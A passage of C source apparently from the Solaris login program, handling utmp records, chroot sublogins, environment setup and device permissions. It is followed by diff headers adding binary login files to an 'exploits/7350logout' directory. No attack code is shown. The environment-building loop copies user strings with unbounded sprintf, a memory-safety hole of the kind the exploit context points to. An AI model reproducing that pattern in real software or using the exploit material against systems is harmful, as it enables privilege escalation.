1741 * entry we are updating, otherwise if its a sublogin the flags
1742 * field is set to 0, which means we just write a matching entry
1743 * (without checking the pid), or a new entry if an entry doesn't
1744 * exist.
1745 */
1746
1747 if (error = pam_open_session(pamh, 0) != PAM_SUCCESS) {
1748 login_exit(1);
1749 }
1750
1751 if ((error = pam_get_item(pamh, PAM_USER, (void **) &user))
1752 != PAM_SUCCESS) {
1753 login_exit(1);
1754 }
1755
1756 (void) memset((void *)&utmp, 0, sizeof (utmp));
1757 (void) time(&utmp.ut_tv.tv_sec);
1758 utmp.ut_pid = getpid();
1759
1760 if (rflag || hflag) {
1761 SCPYN(utmp.ut_host, remote_host);
1762 tmplen = strlen(remote_host) + 1;
1763 if (tmplen < sizeof (utmp.ut_host))
1764 utmp.ut_syslen = tmplen;
1765 else
1766 utmp.ut_syslen = sizeof (utmp.ut_host);
1767 } else {
1768 utmp.ut_syslen = 0;
1769 }
1770
1771 SCPYN(utmp.ut_user, user);
1772
1773 /* skip over "/dev/" */
1774 ttyntail = basename(ttyn);
1775
1776 while ((u = getutxent()) != NULL) {
1777 if ((u->ut_type == INIT_PROCESS ||
1778 u->ut_type == LOGIN_PROCESS ||
1779 u->ut_type == USER_PROCESS) &&
1780 ((sublogin && strncmp(u->ut_line, ttyntail,
1781 sizeof (u->ut_line)) == 0) ||
1782 u->ut_pid == utmp.ut_pid)) {
1783 SCPYN(utmp.ut_line, (ttyn+sizeof ("/dev/")-1));
1784 (void) memcpy(utmp.ut_id, u->ut_id,
1785 sizeof (utmp.ut_id));
1786 utmp.ut_type = USER_PROCESS;
1787 pututxline(&utmp);
1788 break;
1789 }
1790 }
1791 endutxent();
1792
1793 if (u == (struct utmpx *)NULL) {
1794 if (!sublogin) {
1795 /*
1796 * no utmp entry already setup
1797 * (init or rlogind/telnetd)
1798 */
1799 (void) puts(errmsg);
1800 login_exit(1);
1801 }
1802 } else {
1803 /* Now attempt to write out this entry to the wtmp file if */
1804 /* we were successful in getting it from the utmp file and */
1805 /* the wtmp file exists. */
1806 updwtmpx(WTMPX_FILE, &utmp);
1807 }
1808}
1809
1810
1811
1812/*
1813 * process_chroot_logins - Chroots to the specified subdirectory and
1814 * re executes login.
1815 */
1816
1817static int
1818process_chroot_logins(void)
1819{
1820 /*
1821 * If the shell field starts with a '*', do a chroot to the home
1822 * directory and perform a new login.
1823 */
1824
1825 if (*pwd->pw_shell == '*') {
1826 pam_end(pamh, PAM_SUCCESS); /* Done using PAM */
1827 if (chroot(pwd->pw_dir) < 0) {
1828 (void) printf("No Root Directory\n");
1829 return (ERROR);
1830 }
1831 /*
1832 * Set the environment flag <!sublogin> so that the next login
1833 * knows that it is a sublogin.
1834 */
1835 envinit[0] = SUBLOGIN;
1836 envinit[1] = (char *)NULL;
1837 (void) printf("Subsystem root: %s\n", pwd->pw_dir);
1838 (void) execle("/usr/bin/login", "login", (char *)0,
1839 &envinit[0]);
1840 (void) execle("/etc/login", "login", (char *)0, &envinit[0]);
1841 (void) printf("No /usr/bin/login or /etc/login on root\n");
1842 login_exit(1);
1843 }
1844 return (OK);
1845}
1846
1847/*
1848 * establish_user_environment - Set up the new users enviornment
1849 */
1850
1851static void
1852establish_user_environment(char **renvp)
1853{
1854 int i, j, k, l_index, length, idx = 0;
1855 char *ptr;
1856 char *endptr;
1857 char **lenvp;
1858 char **pam_env;
1859
1860 lenvp = environ;
1861 while (*lenvp++)
1862 ;
1863
1864 /* count the number of PAM environment variables set by modules */
1865 if ((pam_env = pam_getenvlist(pamh)) != 0) {
1866 for (idx = 1; pam_env[idx] != 0; idx++)
1867 ;
1868 }
1869
1870 envinit = (char **) calloc(lenvp - environ + 10
1871 + MAXARGS + idx, sizeof (char *));
1872 if (envinit == NULL) {
1873 (void) printf("Calloc failed - out of swap space.\n");
1874 login_exit(8);
1875 }
1876
1877 /*
1878 * add PAM environment variables first so they
1879 * can be overwritten at login's discretion.
1880 * check for illegal environment variables.
1881 */
1882 idx = 0; basicenv = 0;
1883 if (pam_env != 0) {
1884 while (pam_env[idx] != 0) {
1885 if (legalenvvar(pam_env[idx])) {
1886 envinit[basicenv] = pam_env[idx];
1887 basicenv++;
1888 }
1889 idx++;
1890 }
1891 }
1892 memcpy(&envinit[basicenv], newenv, sizeof (newenv));
1893
1894 /* Set up environment */
1895 if (rflag) {
1896 ENVSTRNCAT(term, terminal);
1897 } else if (hflag) {
1898 if (strlen(terminal)) {
1899 ENVSTRNCAT(term, terminal);
1900 }
1901 } else {
1902 char *tp = getenv("TERM");
1903
1904 if ((tp != NULL) && (*tp != '\0'))
1905 ENVSTRNCAT(term, tp);
1906 }
1907
1908 ENVSTRNCAT(logname, pwd->pw_name);
1909
1910 /*
1911 * There are three places to get timezone info. init.c sets
1912 * TZ if the file /etc/TIMEZONE contains a value for TZ.
1913 * login.c looks in the file /etc/default/login for a
1914 * variable called TIMEZONE being set. If TIMEZONE has a
1915 * value, TZ is set to that value; no environment variable
1916 * TIMEZONE is set, only TZ. If neither of these methods
1917 * work to set TZ, then the library routines will default
1918 * to using the file /usr/lib/locale/TZ/localtime.
1919 *
1920 * There is a priority set up here. If /etc/TIMEZONE has
1921 * a value for TZ, that value remains top priority. If the
1922 * file /etc/default/login has TIMEZONE set, that has second
1923 * highest priority not overriding the value of TZ in
1924 * /etc/TIMEZONE. The reason for this priority is that the
1925 * file /etc/TIMEZONE is supposed to be sourced by
1926 * /etc/profile. We are doing the "sourcing" prematurely in
1927 * init.c. Additionally, a login C shell doesn't source the
1928 * file /etc/profile thus not sourcing /etc/TIMEZONE thus not
1929 * allowing an adminstrator to globally set TZ for all users
1930 */
1931 if (Def_tz != NULL) /* Is there a TZ from defaults/login? */
1932 tmp_tz = Def_tz;
1933
1934 if ((Def_tz = getenv("TZ")) != NULL) {
1935 ENVSTRNCAT(timez, Def_tz);
1936 } else if (tmp_tz != NULL) {
1937 Def_tz = tmp_tz;
1938 ENVSTRNCAT(timez, Def_tz);
1939 }
1940
1941 if (Def_hertz == NULL)
1942 (void) sprintf(hertz + strlen(hertz), "%u", HZ);
1943 else
1944 ENVSTRNCAT(hertz, Def_hertz);
1945
1946 if (Def_path == NULL)
1947 (void) strcat(path, DEF_PATH);
1948 else
1949 ENVSTRNCAT(path, Def_path);
1950
1951 ENVSTRNCAT(home, pwd->pw_dir);
1952
1953 /*
1954 * Find the end of the basic environment
1955 */
1956 for (basicenv = 0; envinit[basicenv] != NULL; basicenv++)
1957 ;
1958
1959 /*
1960 * If TZ has a value, add it.
1961 */
1962 if (strcmp(timez, "TZ=") != 0)
1963 envinit[basicenv++] = timez;
1964
1965 if (*pwd->pw_shell == '\0') {
1966 /*
1967 * If possible, use the primary default shell,
1968 * otherwise, use the secondary one.
1969 */
1970 if (access(SHELL, X_OK) == 0)
1971 pwd->pw_shell = SHELL;
1972 else
1973 pwd->pw_shell = SHELL2;
1974 } else if (Altshell != NULL && strcmp(Altshell, "YES") == 0) {
1975 envinit[basicenv++] = shell;
1976 ENVSTRNCAT(shell, pwd->pw_shell);
1977 }
1978
1979#ifndef NO_MAIL
1980 envinit[basicenv++] = mail;
1981 (void) strcat(mail, pwd->pw_name);
1982#endif
1983
1984 /*
1985 * Pick up locale environment variables, if any.
1986 */
1987 lenvp = renvp;
1988 while (*lenvp != NULL) {
1989 j = 0;
1990 while (localeenv[j] != 0) {
1991 /*
1992 * locale_envmatch() returns 1 if
1993 * *lenvp is localenev[j] and valid.
1994 */
1995 if (locale_envmatch(localeenv[j], *lenvp) == 1) {
1996 envinit[basicenv++] = *lenvp;
1997 break;
1998 }
1999 j++;
2000 }
2001 lenvp++;
2002 }
2003
2004 /*
2005 * If '-p' flag, then try to pass on allowable environment
2006 * variables. Note that by processing this first, what is
2007 * passed on the final "login:" line may over-ride the invocation
2008 * values. XXX is this correct?
2009 */
2010 if (pflag) {
2011 for (lenvp = renvp; *lenvp; lenvp++) {
2012 if (!legalenvvar(*lenvp)) {
2013 continue;
2014 }
2015 /*
2016 * If this isn't 'xxx=yyy', skip it. XXX
2017 */
2018 if ((endptr = strchr(*lenvp, '=')) == NULL) {
2019 continue;
2020 }
2021 length = endptr + 1 - *lenvp;
2022 for (j = 0; j < basicenv; j++) {
2023 if (strncmp(envinit[j], *lenvp, length) == 0) {
2024 /*
2025 * Replace previously established value
2026 */
2027 envinit[j] = *lenvp;
2028 break;
2029 }
2030 }
2031 if (j == basicenv) {
2032 /*
2033 * It's a new definition, so add it at the end.
2034 */
2035 envinit[basicenv++] = *lenvp;
2036 }
2037 }
2038 }
2039
2040 /*
2041 * Add in all the environment variables picked up from the
2042 * argument list to "login" or from the user response to the
2043 * "login" request.
2044 */
2045
2046 for (j = 0, k = 0, l_index = 0, ptr = &envblk[0];
2047 *envp && j < (MAXARGS-1); j++, envp++) {
2048
2049 /*
2050 * Scan each string provided. If it doesn't have the
2051 * format xxx=yyy, then add the string "Ln=" to the beginning.
2052 */
2053 if ((endptr = strchr(*envp, '=')) == NULL) {
2054 envinit[basicenv+k] = ptr;
2055 (void) sprintf(ptr, "L%d=%s", l_index, *envp);
2056
2057 /*
2058 * Advance "ptr" to the beginning of the
2059 * next argument.
2060 */
2061 while (*ptr++)
2062 ;
2063 k++;
2064 l_index++;
2065 } else {
2066 if (!legalenvvar(*envp)) { /* this env var permited? */
2067 continue;
2068 } else {
2069
2070 /*
2071 * Check to see whether this string replaces
2072 * any previously defined string
2073 */
2074 for (i = 0, length = endptr + 1 - *envp;
2075 i < basicenv + k; i++) {
2076 if (strncmp(*envp, envinit[i], length)
2077 == 0) {
2078 envinit[i] = *envp;
2079 break;
2080 }
2081 }
2082
2083 /*
2084 * If it doesn't, place it at the end of
2085 * environment array.
2086 */
2087 if (i == basicenv+k) {
2088 envinit[basicenv+k] = *envp;
2089 k++;
2090 }
2091 }
2092 }
2093 } /* for (j = 0 ... ) */
2094
2095 /*
2096 * Switch to the new environment.
2097 */
2098 environ = envinit;
2099}
2100
2101/*
2102 * print_banner - Print the banner at start up
2103 * Do not turn on DOBANNER ifdef. This is not
2104 * relevant to SunOS.
2105 */
2106
2107static void
2108print_banner(void)
2109{
2110#ifdef DOBANNER
2111 uname(&un);
2112#if i386
2113 (void) printf("UNIX System V/386 Release %s\n%s\n"
2114 "Copyright (C) 1984, 1986, 1987, 1988 AT&T\n"
2115 "Copyright (C) 1987, 1988 Microsoft Corp.\nAll Rights Reserved\n",
2116 un.release, un.nodename);
2117#elif sun
2118 (void) printf("SunOS Release %s Sun Microsystems %s\n%s\n"
2119 "Copyright (c) 1984, 1986, 1987, 1988 AT&T\n"
2120 "Copyright (c) 1988, 1989, 1990, 1991 Sun Microsystems\n"
2121 "All Rights Reserved\n",
2122 un.release, un.machine, un.nodename);
2123#else
2124 (void) printf("UNIX System V Release %s AT&T %s\n%s\n"
2125 "Copyright (c) 1984, 1986, 1987, 1988 AT&T\nAll Rights Reserved\n",
2126 un.release, un.machine, un.nodename);
2127#endif /* i386 */
2128#endif /* DOBANNER */
2129}
2130
2131/*
2132 * display_last_login_time - Advise the user the time and date
2133 * that this login-id was last used.
2134 */
2135
2136static void
2137display_last_login_time(void)
2138{
2139 if (lastlogok) {
2140 (void) printf("Last login: %.*s ", 24-5, ctime(&ll.ll_time));
2141
2142 if (*ll.ll_host != '\0')
2143 (void) printf("from %.*s\n", sizeof (ll.ll_host),
2144 ll.ll_host);
2145 else
2146 (void) printf("on %.*s\n", sizeof (ll.ll_line),
2147 ll.ll_line);
2148 }
2149}
2150
2151/*
2152 * exec_the_shell - invoke the specified shell or start up program
2153 */
2154
2155static void
2156exec_the_shell(void)
2157{
2158 char *endptr;
2159 int i;
2160
2161 (void) strcat(minusnam, basename(pwd->pw_shell));
2162
2163 /*
2164 * Exec the shell
2165 */
2166 (void) execl(pwd->pw_shell, minusnam, (char *)0);
2167
2168 /*
2169 * pwd->pw_shell was not an executable object file, maybe it
2170 * is a shell proceedure or a command line with arguments.
2171 * If so, turn off the SHELL= environment variable.
2172 */
2173 for (i = 0; envinit[i] != NULL; ++i) {
2174 if ((envinit[i] == shell) &&
2175 ((endptr = strchr(shell, '=')) != NULL))
2176 (*++endptr) = '\0';
2177 }
2178
2179 if (access(pwd->pw_shell, R_OK|X_OK) == 0) {
2180 (void) execl(SHELL, "sh", pwd->pw_shell, (char *)0);
2181 (void) execl(SHELL2, "sh", pwd->pw_shell, (char *)0);
2182 }
2183
2184 (void) printf("No shell\n");
2185}
2186
2187/*
2188 * login_exit - Call exit() and terminate.
2189 * This function is here for PAM so cleanup can
2190 * be done before the process exits.
2191 */
2192static void
2193login_exit(int exit_code)
2194{
2195 if (pamh)
2196 pam_end(pamh, PAM_ABORT);
2197 exit(exit_code);
2198 /*NOTREACHED*/
2199}
2200
2201/*
2202 * Check if lenv and penv matches or not.
2203 */
2204static int
2205locale_envmatch(char *lenv, char *penv)
2206{
2207 while ((*lenv == *penv) && *lenv && *penv != '=') {
2208 lenv++;
2209 penv++;
2210 }
2211
2212 /*
2213 * '/' is eliminated for security reason.
2214 */
2215 if (*lenv == '\0' && *penv == '=' && *(penv + 1) != '/')
2216 return (1);
2217 return (0);
2218}
2219
2220/*
2221 * logindevperm - change owner/group/permissions of devices
2222 * list in /etc/logindevperm. (Code derived from set_fb_attrs()
2223 * in 4.x usr/src/bin/login.c and usr/src/etc/getty/main.c.)
2224 */
2225
2226#define MAX_LINELEN 256
2227#define LOGINDEVPERM "/etc/logindevperm"
2228#define DIRWILD "/*" /* directory wildcard */
2229#define DIRWLDLEN 2 /* strlen(DIRWILD) */
2230
2231static void
2232logindevperm(char *ttyn, uid_t uid, gid_t gid)
2233{
2234 char *field_delims = " \t\n";
2235 char *permfile = LOGINDEVPERM;
2236 char line[MAX_LINELEN];
2237 char *console;
2238 char *mode_str;
2239 char *dev_list;
2240 char *device;
2241 char *ptr;
2242 int mode;
2243 FILE *fp;
2244 size_t l;
2245 int lineno;
2246
2247 if ((fp = fopen(permfile, "r")) == NULL)
2248 return;
2249
2250 lineno = 0;
2251 while (fgets(line, MAX_LINELEN, fp) != NULL) {
2252 lineno++;
2253
2254 if ((ptr = strchr(line, '#')) != NULL)
2255 *ptr = '\0'; /* handle comments */
2256
2257 if ((console = strtok(line, field_delims)) == NULL)
2258 continue; /* ignore blank lines */
2259
2260 if (strcmp(console, ttyn) != 0)
2261 continue; /* not our tty, skip */
2262
2263 mode_str = strtok((char *)NULL, field_delims);
2264 if (mode_str == NULL) {
2265 (void) fprintf(stderr,
2266 "%s: line %d, invalid entry -- %s\n", permfile,
2267 lineno, line);
2268 continue;
2269 }
2270
2271 /* convert string to octal value */
2272 mode = strtol(mode_str, &ptr, 8);
2273 if (mode < 0 || mode > 0777 || *ptr != '\0') {
2274 (void) fprintf(stderr,
2275 "%s: line %d, invalid mode -- %s\n", permfile,
2276 lineno, mode_str);
2277 continue;
2278 }
2279
2280 dev_list = strtok((char *)NULL, field_delims);
2281 if (dev_list == NULL) {
2282 (void) fprintf(stderr,
2283 "%s: line %d, %s -- empty device list\n",
2284 permfile, lineno, console);
2285 continue;
2286 }
2287
2288 device = strtok(dev_list, ":");
2289 while (device != NULL) {
2290 l = strlen(device);
2291 ptr = &device[l - DIRWLDLEN];
2292 if ((l > DIRWLDLEN) && (strcmp(ptr, DIRWILD) == 0)) {
2293 *ptr = '\0'; /* chop off wildcard */
2294 dir_dev_acc(device, uid, gid, mode, permfile);
2295 } else {
2296 /*
2297 * change the owner/group/permission;
2298 * nonexistent devices are ignored
2299 */
2300 if (chown(device, uid, gid) == -1) {
2301 if (errno != ENOENT) {
2302 (void) fprintf(stderr, "%s: ",
2303 permfile);
2304 perror(device);
2305 }
2306 } else {
2307 if ((chmod(device, mode) == -1) &&
2308 (errno != ENOENT)) {
2309 (void) fprintf(stderr, "%s: ",
2310 permfile);
2311 perror(device);
2312 }
2313 }
2314 }
2315 device = strtok((char *)NULL, ":");
2316 }
2317 }
2318 (void) fclose(fp);
2319}
2320
2321/*
2322 * Apply owner/group/perms to all files (except "." and "..")
2323 * in a directory.
2324 */
2325static void
2326dir_dev_acc(char *dir, uid_t uid, gid_t gid, mode_t mode, char *permfile)
2327{
2328 DIR *dirp;
2329 struct dirent *direntp;
2330 char *name, path[MAX_LINELEN + MAXNAMELEN];
2331
2332 dirp = opendir(dir);
2333 if (dirp == NULL)
2334 return;
2335
2336 while ((direntp = readdir(dirp)) != NULL) {
2337 name = direntp->d_name;
2338 if ((strcmp(name, ".") == 0) || (strcmp(name, "..") == 0))
2339 continue;
2340
2341 (void) sprintf(path, "%s/%s", dir, name);
2342 if (chown(path, uid, gid) == -1) {
2343 if (errno != ENOENT) {
2344 (void) fprintf(stderr, "%s: ", permfile);
2345 perror(path);
2346 }
2347 } else {
2348 if ((chmod(path, mode) == -1) && (errno != ENOENT)) {
2349 (void) fprintf(stderr, "%s: ", permfile);
2350 perror(path);
2351 }
2352 }
2353 }
2354 (void) closedir(dirp);
2355}
diff --git a/exploits/7350logout/solaris-2.8-sparc-login b/exploits/7350logout/solaris-2.8-sparc-login
new file mode 100644
index 0000000..4db4b3e
--- /dev/null
+++ b/exploits/7350logout/solaris-2.8-sparc-login
Binary files differ
diff --git a/exploits/7350logout/solaris-2.8-sparc-login-patched b/exploits/7350logout/solaris-2.8-sparc-login-patched
new file mode 100644
index 0000000..c575500
--- /dev/null
+++ b/exploits/7350logout/solaris-2.8-sparc-login-patched
Binary files differ
diff --git a/exploits/7350logout/solaris-2.8-sparc-login.o b/exploits/7350logout/solaris-2.8-sparc-login.o
new file mode 100644
index 0000000..debe85c
--- /dev/null
+++ b/exploits/7350logout/solaris-2.8-sparc-login.o
Binary files differ